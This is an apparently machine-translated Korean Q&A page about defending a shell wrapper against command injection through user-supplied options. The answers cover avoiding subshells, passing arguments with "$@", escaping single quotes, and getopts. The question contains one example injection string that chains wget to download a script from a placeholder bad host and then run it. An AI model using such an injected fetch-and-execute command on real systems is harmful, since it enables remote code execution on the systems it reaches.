명령 옵션을 통한 명령 주입을 방지하는 방법은 무엇입니까?


13

사용자가 시뮬레이터에 전달할 사용자 지정 옵션을 지정할 수 있도록하는 래퍼 응용 프로그램이 있습니다. 그러나 사용자가 사용자 옵션을 통해 다른 명령을 주입하지 않도록하고 싶습니다. 이것을 달성하는 가장 좋은 방법은 무엇입니까?

예를 들어.

  • 사용자는 다음을 제공합니다. -a -b
  • 응용 프로그램이 실행됩니다. mysim --preset_opt -a -b

그러나 나는 이것이 일어나기를 원하지 않습니다.

  • 사용자는 다음을 제공합니다. && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • 응용 프로그램이 실행됩니다. mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

현재 모든 사용자 제공 옵션을 작은 따옴표 '로 묶고 사용자가 제공 한 작은 따옴표를 제거하여 마지막 예제의 명령이 무해한 것으로 판명 될 수 있다고 생각합니다.

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

참고 :이 mysim명령은 docker / lxc 컨테이너에서 셸 스크립트의 일부로 실행됩니다. 우분투를 실행 중입니다.


당신이 사용하고 eval응용 프로그램을 실행? 그렇지 않은 경우 주사가 발생하지 않아야합니다.x="&& echo Doomed" ; echo $x
choroba

1
아니요, 사용하지 않습니다 eval. mysim쉘 스크립트 내 에서 실행 파일을 호출하고 있습니다. 사용자가 제공하는 옵션 문자열을 복사하여 mysim명령 끝에 붙여 넣으면 주입이 발생합니다 .
Victor Lyuboslavsky

랩퍼 애플리케이션이 옵션 문자열을 복사하여 붙여 넣습니까?
choroba

예, 사용자 옵션은 다음과 같은 단일 문자열로 제공됩니다 -a -b. 따라서 추가 문자열이 해당 문자열에 삽입되지 않도록하고 싶습니다.
Victor Lyuboslavsky

1
허용 할 수 있습니까? 캐릭터를 허용 [a-zA-Z0-9 _-]하는 것은 꽤 방어적인 선택처럼 보입니다.
Ulrich Schwarz

답변:


6

랩퍼 프로그램을 제어 할 수 있으면 서브 쉘을 호출하지 않는지 확인하십시오. 깊은 곳 에서 프로그램을 실행 하는 명령은 실행 파일 의 전체 경로 (절대 또는 현재 디렉토리에 대한)와 인수로 전달할 문자열 목록으로 구성됩니다. PATH 조회, 공백 분리 인수, 인용 및 제어 연산자는 모두 쉘에서 제공합니다. 껍질도없고 고통도 없습니다.

예를 들어, 펄 래퍼의 목록 양식을 사용 exec하거나 system. 많은 언어에서 , 또는 with exec또는 execXXX함수가 unix.exec아닌 또는 함수 중 하나 (또는 호출 된 것)를 호출 하십시오.systemos.spawnshell=False

랩퍼가 쉘 스크립트 인 경우 "$@", 인수를 전달 하는 데 사용 하십시오 (예 :

#!/bin/sh
mysim -preset-opt "$@"

선택 사항이없고 랩퍼 프로그램이 쉘을 호출하는 경우, 인수를 쉘로 전달하기 전에 인수를 인용해야합니다. 인수를 인용하는 쉬운 방법은 다음을 수행하는 것입니다.

  1. 각 인수에서 '(작은 따옴표)를 네 자리 문자열로 바꿉니다 '\''. (예 don't해진다 don'\''t)
  2. '각 인수의 시작 부분과 각 인수의 끝 부분에 추가하십시오 . (예로부터는 don't, don'\''t이된다 'don'\''t')
  3. 결과를 사이에 공백으로 연결하십시오.

쉘 랩퍼에서이 작업을 수행해야하는 경우 방법이 있습니다.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(불행히도 ${VAR//PATTERN/REPLACEMENT}여기에 편리 해야하는 bash의 구조는 기발한 인용문이 필요 '\''하며 대체 텍스트로 얻을 수 있다고 생각하지 않습니다 .)


1

당신은 강타의 사용할 수있는 ${VAR//PATTERN/REPLACEMENT}작은 따옴표를 변환하는 관용구 ''\''먼저 넣어 '\''(중간 단계로) 변수에 다음과 같은이 변수 확장 REPLACEMENT언급 배쉬 관용구의 요소를.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}

0

당신이 사용할 수 getoptsbash당신을 위해 인수를 구문 분석 할 수있는, 예를 들면 :

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.